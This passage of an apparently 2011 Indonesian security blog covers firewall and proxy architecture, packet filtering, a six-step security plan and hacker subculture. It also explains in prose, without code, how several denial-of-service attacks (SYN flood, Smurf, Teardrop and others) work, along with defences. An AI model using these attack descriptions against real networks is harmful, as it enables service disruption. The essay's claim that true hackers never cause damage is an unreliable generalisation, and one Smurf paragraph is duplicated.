mengoptimasi jumlah program yang berjalan, kemudian tidak memberikan account reguler pada bastion-host.

            Dua arsitektur lainnya, screened-host dan screened-subnet, menyediakan pilihan lebih banyak. Screening-router dapat diatur untuk melakukan operasi packet filtering yang memungkinkan mesin-mesin tertentu dapat dikenali dari luar. Mesin mesin ini, kemudian menjalankan program-program server yang dapat diakses dari internet. Resiko dengan metoda seperti ini adalah penambahan jumlah komputer yang mungkin untuk diserang, sehingga akan lebih baik jika sebelumnya kita menyiapkan mesin-mesin tersebut dengan level security paling tidak sama dengan bastion-host atau kalau bisa, lebih.

Packet Filtering

            Berbagai kebijakan dapat diterapkan dalam melakukan operasi packet filtering. Pada intinya, berupa mekanisme pengontrollan data yang diperbolehkan mengalir dari dan/atau ke jaringan internal, dengan menggunakan beberapa parameter yang tercantum dalam header paket data: arah (inbound atau outbound), address asal dan tujuan, port asal dan tujuan, serta jenis protokol transport. Router akan mengevaluasi informasi ini dalam setiap paket data yang mengalir melaluinya, kemudian menetapkan aksi yang harus dilakukan terhadap paket tersebut, berdasarkan set aturan/program dalam packet-filtering. Sehingga keputusan routing dasar router tersebut, kemudian dilengkapi dengan bagian dari kebijakan security jaringan.

            Tabel berikut akan menunjukan contoh konfigurasi operasi packet-filtering, untuk menyediakan hanya fasilitas SMTP inbound dan outbound pada jaringan.

Aturan A dan B melayani hubungan SMTP inbound (email datang), aturan C dan D melayani hubungan SMTP outbound (email keluar) serta aturan E merupakan aturan default yang dilakukan bila aturan aturan sebelumnya gagal. Kalau diamati lebih dekat, selain trafik SMTP konfigurasi tersebut juga masih membolehkan hubungan masuk dan keluar pada port >1023 (aturan B dan D), sehingga terdapat kemungkinan bagi program-program server seperti X11 (port 6000), OpenWindows (port 2000), atau kebanyakan program basis-data (Sybase, Oracle, Informix, dll), untuk dihubungi dari luar. Untuk menutup kemungkinan ini, diperlukan evaluasi parameter lain, seperti evaluasi port asal. Dengan cara ini, satu-satunya celah menembus firewall adalah dengan menggunakan port SMTP. Bila kita masih juga kurang yakin dengan kejujuran para pengguna port ini, dapat dilakukan evaluasi lebih lanjut dari informasi ACK.

Proxy

            Dalam jaringan yang menerapkan sistem proxy, hubungan komunikasi ke internet dilakukan melalui sistem pendelegasian. Komputer-komputer yang dapat dikenali oleh internet bertindak sebagai ‘wakil’ bagi mesin lain yang ingin berhubungan ke luar. Proxy server untuk (kumpulan) protokol tertentu dijalankan pada dual-homed host atau bastion-host, dimana seluruh pemakai jaringan dapat berkomunikasi dengannya, kemudian proxy server ini bertindak sebagai delegasi. Dengan kata lain setiap program client akan berhubungan dengan proxy server dan proxy server ini lah yang akan berhubungan dengan server sebenarnya di internet. Proxy server akan mengevaluasi setiap permintaan hubungan dari client dan memutuskan mana yang diperbolehkan dan mana yang tidak. Bila permintaan hubungan ini disetujui, maka proxy server me-relay permintaan tersebut pada server sebenarnya.

Ada beberapa istilah menunjuk pada tipe proxy server, diantaranya proxy level aplikasi, proxy level circuit, proxy generik atau khusus, proxy cerdas dll. Apapun jenis proxy yang digunakan, ada beberapa konsekuensi implementasi sistem ini:

  • pada umumnya memerlukan modifikasi client dan/atau prosedur akses serta menuntut penyediaan program server berbeda untuk setiap aplikasi.
  • Penggunaan sistem proxy memungkinkan penggunaan private IP Address bagi jaringan internal. Konsekuensinya kita bisa memilih untuk menggunakan IP Address kelas A (10.x.x.x) untuk private IP address yang digunakan dalam jaringan internet; sehingga komputer yang dapat tersambung dalam jaringan internal dapat mencapai jumlah jutaan komputer.
  • Paket SOCKS atau TIS FWTK merupakan contoh paket perangkat lunak proxy yang sering digunakan dan tersedia bebas di internet.

 

Penutup

            Masalah keamanan jaringan merupakan masalah yang sering di menjadi momok bagi rekan-rekan yang ingin mengkaitkan sebuah institusi ke Internet. Tulisan ini berharap untuk memberikan sedikit masukan awal yang menjelaskan bahwa ada beberapa teknik keamanan yang dapat menjamin sekuriti jaringan yang terkait ke Internet.


 

Ensiklopedia Serangan Denial of Service

•15 Desember 2011 • Tinggalkan sebuah Komentar

Tulisan ini merupakan saduran bebas dari tulisan yang sama di PC Magazine http://205.181.113.18/pcmag/pctech/content/17/08/nt1708.002.html dan juga hacktech.org (http://www.hacktech.org). Denial of Service (DoS) merupakan serangan di Internet yang termasuk cukup di takuti karena akan menyebabkan mesin / server tidak bisa beroperasi sama sekali & tidak bisa memberikan servis. Tulisan ini akan mencoba memberikan gambaran secara garis besar teknik dari berbagai serangan telak tersebut. Beberapa teknik telak yang sering digunakan, antara lain adalah:

  • Ping of Death.
  • Teardrop.
  • SYN Attack
  • Land Attack
  • Smurf Attack
  • UDP Flood

Ping of Death menggunakan program utility ping yang ada di sistem operasi komputer. Biasanya ping digunakan untuk men-cek berapa waktu yang dibutuhkan untuk mengirimkan sejumlah data tertentu dari satu komputer ke komputer lain. Panjang maksimum data yang dapat dikirim menurut spesifikasi protokol IP adalah 65,536 byte. Pada Ping of Death data yang dikirim melebihi maksimum paket yang di ijinkan menurut spesifikasi protokol IP. Konsekuensinya, pada sistem yang tidak siap akan menyebabkan sistem tersebut crash (tewas), hang (bengong) atau reboot (booting ulang) pada saat sistem tersebut menerima paket yang demikian panjang.

Serangan ini sudah tidak baru lagi, semua vendor sistem operasi telah memperbaiki sistem-nya untuk menangani kiriman paket yang oversize.

Teardrop – teknik ini dikembangkan dengan cara mengeksplotasi proses disassembly-reassembly paket data. Dalam jaringan Internet, seringkali data harus di potong kecil-kecil untuk menjamin reliabilitas & proses multiple akses jaringan. Potongan paket data ini, kadang harus dipotong ulang menjadi lebih kecil lagi pada saat di salurkan melalui saluran Wide Area Network (WAN) agar pada saat melalui saluran WAN

yang tidak reliable proses pengiriman data menjadi lebih reliable. Pada proses pemotongan data paket yang normal setiap potongan di berikan informasi offset data yang kira-kira berbunyi “potongan paket ini merupakan potongan 600 byte dari total 800 byte paket yang dikirim”. Program teardrop akan memanipulasi offset potongan data sehingga akhirnya terjadi overlapping antara paket yang diterima di bagian penerima setelah potongan-potongan paket ini di reassembly. Seringkali, overlapping ini menimbulkan system yang crash, hang & reboot di ujung sebelah sana.

SYN Attack- kelemahan dari spesifikasi TCP/IP, dia terbuka terhadap serangan paket SYN. Paket SYN dikirimkan pada saat memulai handshake (jabat tangan) antara dia aplikasi sebelum transaksi / pengiriman data dilakukan. Pada kondisi normal, aplikasi klien akan mengirimkan paket TCP SYN untuk mensinkronisasi paket pada aplikasi di server (penerima). Server (penerima) akan mengirimkan respond berupa acknowledgement paket TCP SYN ACK. Setelah paket TCP SYN ACK di terima dengan baik oleh klien (pengirim), maka klien (pengirim) akan mengirimkan paket ACK sebagai tanda transaksi pengiriman / penerimaan data akan di mulai. Dalam serangan SYN flood (banjir paket SYN), klien akan membanjiri server dengan banyak paket TCP SYN. Setiap paket TCP SYN yang dikirim akan menyebabkan server menjawab dengan paket TCP SYN ACK.  Server (penerima) akan terus mencatat (membuat antrian backlog) untuk menunggu responds TCP ACK dari klien yang mengirimkan paket TCP SYN. Tempat antrian backlog ini tentunya terbatas & biasanya kecil di memori. Pada saat antrian backlog ini penuh, sistem tidak akan merespond paket TCP SYN lain yang masuk – dalam bahasa sederhana-nya sistem tampak bengong / hang. Sialnya paket TCP SYN ACK yang masuk antrian backlog hanya akan dibuang dari backlog pada saat terjadi time out dari timer TCP yang menandakan tidak ada responds dari klien pengirim. Biasanya internal timer TCP ini di set cukup lama. Kunci SYN attack adalah dengan membanjiri server dengan paket TCP SYN

menggunakan alamat IP sumber (source) yang kacau. Akibatnya, karena alamat IP sumber (source) tersebut tidak ada, jelas tidak akan ada TCP ACK yang akan di kirim sebagai responds dari responds paket TCP SYN ACK. Dengan cara ini, server akan tampak seperti bengong & tidak memproses responds dalam waktu yang lama. Berbagai vendor komputer sekarang telah menambahkan pertahanan untuk SYN attack ini & juga programmer firewall juga menjamin bahwa firewall mereka tidak mengirimkan packet dengan alamat IP sumber (source) yang kacau.

Land Attack – dalam Land attack – gabungan sederhana dari SYN attack – hacker membanjiri jaringan dengan paket TCP SYN dengan alamat IP sumber dari sistem yang di serang. Biarpun dengan perbaikan SYN attack di atas, Land attack ternyata menimbulkan masalah pada beberapa sistem. Serangan jenis ini relatif baru, beberapa vendor sistem operasi telah menyediakan perbaikannya. Cara lain untuk mempertahankan jaringan dari serangan Land attack ini adalah dengan memfilter pada software firewall anda dari semua paket yang masuk dari alamat IP yang diketahui tidak baik. Paket yang dikirim dari internal sistem anda biasanya tidak baik, oleh karena itu ada baiknya di filter alamat 10.0.0.0-10.255.255.255, 127.0.0.0-127.255.255.255, 172.16.0.0-172.31.255.255, dan 192.168.0.0-192.168.255.255.

Smurf Attack – jauh lebih menyeramkan dari serangan Smurf di cerita kartun. Smurf attack adalah serangan secara paksa pada fitur spesifikasi IP yang kita kenal sebagai direct broadcast

Smurf Attack – jauh lebih menyeramkan dari serangan Smurf di cerita kartun. Smurf attack adalah serangan secara paksa pada fitur spesifikasi IP yang kita kenal sebagai direct broadcast addressing. Seorang Smurf hacker biasanya membanjiri router kita dengan paket permintaan echo Internet Control Message Protocol (ICMP) yang kita kenal sebagai aplikasi ping. Karena alamat IP tujuan pada paket yang dikirim adalah alamat broadcast dari jaringan anda, maka router akan mengirimkan permintaan ICMP echo ini ke semua mesin yang ada di jaringan. Kalau ada banyak host di jaringan, maka akan terhadi trafik ICMP echo respons & permintaan dalam jumlah yang sangat besar. Lebih sial lagi jika si hacker ini memilih untuk men-spoof alamat IP sumber permintaan ICMP tersebut, akibatnya ICMP trafik tidak hanya akan memacetkan jaringan komputer perantara saja, tapi jaringan yang alamat IP-nya di spoof – jaringan ini di kenal sebagai jaringan korban (victim). Untuk menjaga agar jaringan kita tidak menjadi perantara bagi serangan Smurf ini, maka broadcast addressing harus di matikan di router kecuali jika kita sangat membutuhkannya untuk keperluan multicast, yang saat ini belum 100% di definikan. Alternatif lain, dengan cara memfilter permohonan ICMP echo pada firewall. Untuk menghindari agar jaringan kita tidak menjadi korban Smurf attack, ada baiknya kita mempunyai upstream firewall (di hulu) yang di set untuk memfilter ICMP echo atau membatasi trafik echo agar presentasinya kecil dibandingkan trafik jaringan secara keseluruhan.

UDP Flood pada dasarnya mengkaitkan dua (2) sistem tanpa disadarinya. Dengan cara spoofing, User Datagram Protocol (UDP) flood attack akan menempel pada servis UDP chargen di salah satu mesin, yang untuk keperluan “percobaan” akan mengirimkan sekelompok karakter ke mesin lain, yang di program untuk meng-echo setiap kiriman karakter yang di terima melalui servis chargen. Karena paket UDP tersebut di spoofing antara ke dua mesin tersebut, maka yang terjadi

adalah banjir tanpa henti kiriman karakter yang tidak berguna antara ke dua mesin tersebut. Untuk menanggulangi UDP flood, anda dapat men-disable semua servis UDP di semua mesin di jaringan, atau yang lebih mudah memfilter pada firewall semua servis UDP yang masuk. Karena UDP dirancang untuk diagnostik internal, maka masih aman jika menolak semua paket UDP dari Internet. Tapi jika kita menghilangkan semua trafik UDP, maka beberapa aplikasi yang betul seperti RealAudio, yang menggunakan UDP sebagai mekanisme transportasi, tidak akan jalan.

Enam (6) Langkah Mengamankan Jaringan & Sistem Komputer Dari Serangan Hacker

•15 Desember 2011 • Tinggalkan sebuah Komentar

Secara umum ada enam (6) langkah besar yang mungkin bisa digunakan untuk mengamankan jaringan & sistem komputer dari serangan hacker. Adapun langkah tersebut adalah:

  1. Membuat Komite Pengarah Keamanan.
  2. Mengumpulkan Informasi
  3. Memperhitungkan Resiko
  4. Membuat Solusi
  5. Implementasi & Edukasi / Pendidikan.
  6. Terus Menerus Menganalisa, dan Meresponds.

Langkah 1: Membuat Komite Pengarah Keamanan.

Komite pengarah sangat penting untuk dibentuk agar kebijakan keamanan jaringan dapat diterima oleh semua pihak. Agar tidak ada orang terpaksa, merasa tersiksa, merasa akses-nya dibatasi dalam beroperasi di jaringan IntraNet mereka.  Dengan memasukan perwakilan dari semua bidang / bagian, maka masukan dari bawah dapat diharapkan untuk dapat masuk & di terima oleh semua orang.

Dengan adanya komite pengarah ini, akan memungkinkan terjadi interaksi antara orang teknik / administrator jaringan, user & manajer. Sehingga dapat dicari kebijakan yang paling optimal yang dapat di implementasikan dengan mudah secara teknis.

Langkah 2: Mengumpulkan Informasi

Sebelum sebuah kebijakan keamanan jaringan di implementasikan, ada baiknya proses audit yang lengkap dilakukan. Tidak hanya mengaudit peralatan & komponen jaringan saja, tapi juga proses bisnis, prosedur operasi, kesadaran akan keamanan, aset. Tentunya proses audit harus dari tempat yang paling beresiko tinggi yaitu Internet; berlanjut pada home user & sambungan VPN. Selain audit dari sisi external, ada baiknya dilakukan audit dari sisi internet seperti HRD dll.

Langkah 3: Memperhitungkan Resiko

Resiko dalam formula sederhana dapat digambarkan sebagai:

Resiko = Nilai Aset * Vurnerability * Kemungkinan di Eksploit

Nilai aset termasuk nilai uang, biaya karena sistem down, kehilangan kepercayaan mitra / pelanggan. Vurnerability termasuk kehilangan data total / sebagian, system downtime, kerusakan / korupsi data.

Dengan mengambil hasil dari langkah audit yang dilakukan sebelumnya, kita perlu menanyakan:

  • Apakah kebijakan keamanan yang ada sekarang sudah cukup untuk memberikan proteksi?
  • Apakah audit secara eksternal berhasil memvalidasi ke keandalan kebijakan keamanan yang ada?
  • Adakah proses audit mendeteksi kelemahan & belum tertuang dalam kebijakan keamanan?
  • Apakah tingkat keamanan, setara dengan tingkat resiko?
  • Apa aset / informasi yang memiliki resiko tertinggi?

Dengan menjawab pertanyaan di atas merupakan titik awal untuk mengevaluasi kelengkapan kebijakan informasi yang kita miliki. Dengan mengevaluasi jawaban di atas, kita dapat memfokuskan pada solusi yang sifatnya macro & global terlebih dulu tanpa terjerat pada solusi mikro & individu.

Langkah 4: Membuat Solusi

Pada hari ini sudah cukup banyak solusi yang sifatnya plug’n’play yang dapat terdapat di pasar. Sialnya, tidak ada satu program / solusi yang ampuh untuk semua jenis masalah. Oleh karena kita kita harus pandai memilih dari berbagai solusi yang ada untuk berbagai kebutuhan keamanan. Beberapa di antaranya, kita mengenal:

  • Firewall.
  • Network Intrusion Detection System (IDS).
  • Host based Intrusion Detection System (H-IDS).
  • Application-based Intrusion Detection System (App-IDS).
  • Anti-Virus Software.
  • Virtual Private Network (VPN).
  • Two Factor Authentication.
  • Biometric.
  • Smart cards.
  • Server Auditing.
  • Application Auditing.
  • Dll – masih ada beberapa lagi yang tidak termasuk kategori di atas.

Langkah 5: Implementasi & Edukasi / Pendidikan.

Setelah semua support diperoleh maka proses implementasi dapat di lakukan. Proses instalasi akan sangat tergantung pada tingkat kesulitan yang harus di hadapi. Satu hal yang harus di ingat dalam semua proses implementasi adalah proses pendidikan / edukasi jangan sampai dilupakan. Proses pendidikan ini harus berisi:

  • Detail dari sistem / prosedur keamanan yang baru.
  • Effek dari prosedur keamanan yang baru terhadap aset / data perusahaan.
  • Penjelasan dari prosedur & bagaimana cara memenuhi goal kebijakan keamanan yang baru.

Peserta harus di jelaskan tidak hanya bagaimana / apa prosedur keamanan yang dibuat, tapi juga harus dijelaskan mengapa prosedur keamanan tersebut di lakukan.

Langkah 6: Terus Menerus Menganalisa, dan Meresponds.

Sistem selalu berkembang, oleh karena itu proses analisa dari prosedur yang dikembangkan harus selalu dilakukan. Selalu berada di depan, jangan sampai ketinggalan kereta api L …

Dunia Bawah Tanah di Internet

•15 Desember 2011 • Tinggalkan sebuah Komentar

Seperti juga dunia lainnya ada segmen dunia yang tidak suka / tidak mau menggunakan hukum tertulis, bertumpu pada struktur & pengadilan. Dunia ini juga ada di Internet, mereka sangat gila dengan komputer / kemampuan akses ke komputer dan apapun yang dapat mengajarkan kepada mereka bagaimana dunia komputer khususnya bekerja; semua dilakukan tanpa batas & totalitas. Mereka tidak suka menyembunyikan informasi, dan semua informasi harus bebas, terbuka & transparan – aliran copyleft lebih banyak penganutnya daripada copyright. Mereka tidak percaya pada autoritas, birokrasi, penguasa – kekuasaan harus terdesentralisasi. Seseorang dinilai dari kemampuannya, bukan kriteria-kriteria buatan seperti gelar, jabatan, umum, posisi, atau suku bangsa. Mereka membuat seni & keindahan di komputer & mereka percaya bahwa komputer akan membawa kita semua ke kondisi yang lebih baik. Konsep hidup & etika di atas di formulasikan oleh Steven Levy 1984 dari pengamatan masyarakat bawah tanah di Internet dalam bukunya Heroes of the Computer Revolution.

Saya yakin sebagian besar dari kita bisa meraba siapakah mereka ini? Betul, mereka adalah para hacker. Masyarakat yang tidak terlihat, tidak terdeteksi, seperti siluman, mereka hidup & berjaya di dunia maya – tanpa terdeteksi oleh pengguna Internet biasa, tak terdeteksi oleh sistem administrator WARNET & ISP.

Oleh Media & stereotype masyarakat membentuk karakter hacker sebagai orang jahat dan suka merusak. Stereotype ABG 15-20 tahun-an, yang duduk di belakang komputer berjam-jam, masuk ke sistem dan men-delete, berbelanja menggunakan kartu kredit curian atau menghancurkan apa saja yang bisa mereka hancurkan – “anak” ini dikenal sebagai cracker bukan sebagai hacker. Cracker ini yang sering anda dengar di berita / media, mematikan situs web, menghapus data dan membuat kekacauan kemanapun mereka pergi. Hacker yang betul sebenarnya  tidak seperti yang ada dalam stereotype banyak orang di atas.

Di dunia elektronik underground nama jelas & nama lengkap tidak digunakan. Orang biasanya menggunakan nama alias, callsign atau nama samaran. Hal ini memungkinkan kita bisa menyamarkan identitas, dan hanya di kenali sesama underground. Beberapa nama diantara hacker Indonesia bisa dikenali seperti hC, cbug, litherr, fwerd, d_ajax, r3dshadow, cwarrior, ladybug, chiko, gelo, BigDaddy dsb..

Apakah perbedaan mendasar antara seorang cracker & hacker? Di http://www.whatis.com, cracker di definisikan sebagai “seseorang yang masuk ke sistem orang lain, biasanya di jaringan komputer, membypass password atau lisensi program komputer, atau secara sengaja melawan keamanan komputer. Cracker dapat mengerjakan hal ini untuk keuntungan, maksud jahat, atau karena sebab lainnya karena ada tantangan. Beberapa proses pembobolan dilakukan untuk menunjukan kelemahan keamanan sistem”

Berbeda dengan Cracker, Hacker menurut Eric Raymond di definisikan sebagai programmer yang pandai. Sebuah hack yang baik adalah solusi yang cantik kepada masalah programming dan “hacking” adalah proses pembuatan-nya. Ada beberapa karakteristik yang menandakan seseorang adalah hacker, seperti (1) dia suka belajar detail dari bahasa pemrograman atau system, (2) dia melakukan pemrograman tidak cuma berteori saja, (3) dia bisa menghargai, menikmati hasil hacking orang lain, (4) dia dapat secara cepat belajar pemrogramman, dan (5) dia ahli dalam bahasa pemrograman tertentu atau sistem tertentu, seperti “UNIX hacker”.

Yang menarik, ternyata dalam dunia hacker terjadi strata / tingkatan / level yang diberikan oleh komunitas hacker kepada seseorang karena kepiawaiannya, bukan karena umur atau senioritasnya. Proses yang paling berat adalah untuk memperoleh pengakuan / derajat / acknowledgement diantara masyarakat underground, seorang hacker harus mampu membuat program untuk meng-eksploit kelemahan sistem, menulis tutorial (artikel) biasanya dalam format ASCII text biasa, aktif diskusi di mailing list / IRC channel para hacker, membuat situs web dsb. Entah kenapa warna background situs web para hacker seringkali berwarna hitam gelap, mungkin untuk memberikan kesan misterius. Proses memperoleh acknowledgement / pengakuan, akan memakan waktu lama bulanan bahkan tahun, tergantung ke piawaian hacker tersebut.

Proses memperoleh pengakuan di antara sesama hacker tidak lepas dari etika & aturan main dunia underground. Etika ini yang akhirnya akan membedakan antara hacker & cracker, maupun hacker kelas rendahan seperti Lamer & Script Kiddies.

Gambaran umum aturan main yang perlu di ikuti seorang hacker seperti di jelaskan oleh Scorpio http://packetstorm.securify.com/docs/hack/ethics/my.code.of.ethics.html, yaitu:

  • Di atas segalanya, hormati pengetahuan & kebebasan informasi.
  • Memberitahukan sistem administrator akan adanya pelanggaran keamanan / lubang di keamanan yang anda lihat.
  • Jangan mengambil keuntungan yang tidak fair dari hack.
  • Tidak mendistribusikan & mengumpulkan software bajakan.
  • Tidak pernah mengambil resiko yang bodoh – selalu mengetahui kemampuan  sendiri.
  • Selalu bersedia untuk secara terbuka / bebas / gratis memberitahukan & mengajarkan berbagai informasi & metoda yang diperoleh.
  • Tidak pernah meng-hack sebuah sistem untuk mencuri uang.
  • Tidak pernah memberikan akses ke seseorang yang akan membuat kerusakan.
  • Tidak pernah secara sengaja menghapus & merusak file di komputer yang dihack.
  • Hormati mesin yang di hack, dan memperlakukan dia seperti mesin sendiri.

Jelas dari Etika & Aturan main Hacker di atas, sangat tidak mungkin seorang hacker betulan akan membuat kerusakan di komputer.

Tentunya ada berbagai tingkatan / strata di dunia underground. Saya yakin tidak semua orang setuju dengan derajat yang akan dijelaskan disini, karena ada kesan arogan terutama pada level yang tinggi. Secara umum yang paling tinggi (suhu) hacker sering di sebut ‘Elite’; di Indonesia mungkin lebih sering di sebut ‘suhu’. Sedangkan, di ujung lain derajat hacker dikenal ‘wanna-be’ hacker atau dikenal sebagai ‘Lamers’. Yang pasti para pencuri kartu kredit bukanlah seorang hacker tingkat tinggi, mereka hanyalah termasuk kategori hacker kelas paling rendah / kacangan yang sering kali di sebut sebagai Lamer. Mereka adalah orang tanpa pengalaman & pengetahuan biasanya ingin menjadi hacker (wanna-be hacker). Lamer biasanya membaca atau mendengar tentang hacker & ingin seperti itu. Penggunaan komputer Lamer terutama untuk main game, IRC, tukar menukar software prirate, mencuri kartu kredit. Biasanya melakukan hacking menggunakan software trojan, nuke & DoS (Denial of Service). Biasanya menyombongkan diri melalui IRC channel dsb. Karena banyak kekurangannya untuk mencapai elite, dalam perkembangannya Lamer hanya akan sampai level developed kiddie atau script kiddie saja; pada tingkatan kiddie ini biasanya hacker masih banyak bergantung pada Grafik User Internet (GUI) atau Windows, karena belum paham betul untuk melakukan programming dengan baik.

Dua tingkat tertinggi para hacker & yang membuat legenda di underground dunia maya, adalah tingkat Elite & Semi Elite. Barangkali kalau di terjemahkan ke bahasa Indonesia, tingkat ini merupakan suhu dunia underground. Elite juga dikenal sebagai 3l33t, 3l337, 31337 atau kombinasi dari itu; merupakan ujung tombak industri keamanan jaringan. Mereka mengerti sistem operasi luar dalam, sanggup mengkonfigurasi & menyambungkan jaringan secara global. Sanggup melakukan pemrogramman setiap harinya. Sebuah anugrah yang sangat alami, mereka biasanya effisien & trampil, menggunakan pengetahuannya dengan tepat. Mereka seperti siluman dapat memasuki sistem tanpa di ketahui, walaupun mereka tidak akan menghancurkan data-data. Karena mereka selalu mengikuti peraturan yang ada.

Hacker tingkat atas (suhu), biasanya akan memilih target secara hati-hati, tanpa terlihat, diam-diam seperti siluman di kegelapan malam. Setelah melalui banyak semedi & membaca banyak buku-buku tentang kerja jaringan komputer, Request For Comment (RFC) di Internet & mempraktekan socket programming. Semua ini tidak pernah di ajarkan di bangku sekolah maupun kuliah manapun. Secara perlahan mereka akan naik hirarki mereka sesuai dengan kemampuannya, tanpa menyombongkan dirinya – itulah para suhu dunia underground. Salah satu suhu hacker di Indonesia yang saya hormati & kagumi kebetulan bekas murid saya sendiri di Teknik Elektro ITB, beliau relatif masih muda + sekarang telah menjadi seorang penting di Research & Development Telkomsel.

Cukup banyak situs di Internet yang bisa menjadi basis pengetahuan underground, beberapa diantara-nya berbahasa Indonesia seperti Kecoa Elektronik http://www.k-elektronik.org, Hackerlink http://www.hackerlink.or.id, maupun Anti-hackerlink (entah dimana lokasinya). Referensi terbaik mungkin bisa dibaca di berbagai situs di luar negeri seperti http://packetstorm.securify.com, http://www.hackingexposed.com, http://neworder.box.sk, http://www.sans.org, http://www.rootshell.com.

 
Ikuti

Get every new post delivered to your Inbox.